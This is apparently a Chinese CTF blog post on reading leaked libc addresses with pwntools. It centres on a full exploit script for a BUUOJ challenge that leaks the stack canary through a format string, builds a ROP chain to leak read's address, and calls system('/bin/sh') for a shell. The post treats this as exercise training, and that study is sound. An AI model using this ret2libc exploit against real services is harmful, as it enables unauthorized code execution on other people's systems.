真是的,最近做题发现这个泄露函数地址的时候,这个接收搞得有点难受,在此特地研究一下,有不对的地方,请各位大神门评论区指正!
从64位的题目中看泄露
例题一
from pwn import*
context.log_level='debug'
p=remote('node4.buuoj.cn',26985)
elf=ELF('./barop')
p_rdi=0x400993
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
read_got=elf.got['read']
lbic=ELF('./libc-2.23.so')
p.recvuntil("u!")
p.sendline("aa%7$p")
p.recvuntil("0x")
protect= int(p.recv(16),16)
print(hex(protect))
paylaod1 = 'a'*24 + p64(protect) + 'a'*8+p64(p_rdi)+p64(read_got)+p64(puts_plt)+p64(0x400887)
p.recvuntil("story!")
p.send(paylaod1)
#addr=u64(p.recv(4))
addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
#print(hex(addr))
base = addr-lbic.symbols['read']
syst=base +lbic.symbols['system']
binsh=base +lbic.search('/bin/sh').next()
p.recvuntil("story!")
payla = 'a'*24 + p64(protect) + 'a'*8+p64(p_rdi)+p64(binsh)+p64(syst)
p.sendline(payla)
p.interactive()
#90 c6 8c ac 29 7f
# 90 86 bd b8 3e 7f
#90 16 4e f3 e9 7f
这里我们重点关注这两个句子:
第一:
p.sendline("aa%7$p")
p.recvuntil("0x")
protect= int(p.recv(16),16)
我们首先观察canary的形式,在栈上看
看到canary除了0x意外还有16个字符,p.recv(16)正是接收了16个字符。
第二:
我们首先补充个知识点:7f的ASCII吗对应得意思是“删除”,0a对应换行符,而且上文wp最后三行是调试了三次显示的泄露的地址,均存在7f,所以p.recvuntil(’\x7f’)[-6:]从7f起往前截取6个字节作为结果是正确的。
接下来只看图:
例题二
依旧是’\x7f’结尾
例题三
依旧………………
从32位的题目中看泄露
这里变成了f7
其接收地址方式为:addr=u32(r.recvuntil(’\xf7’)[-4:])
总结:
32位接收字符模式又两种可以用:
addr=u32(p.recv(4))
addr=u32(p.recvuntil('\xf7')[-4:])
而且二者都比较保险都可以出结果
但是64位就比较离谱了,有时候“p.recv(number)”不太给力只有用
addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
这个靠谱一点。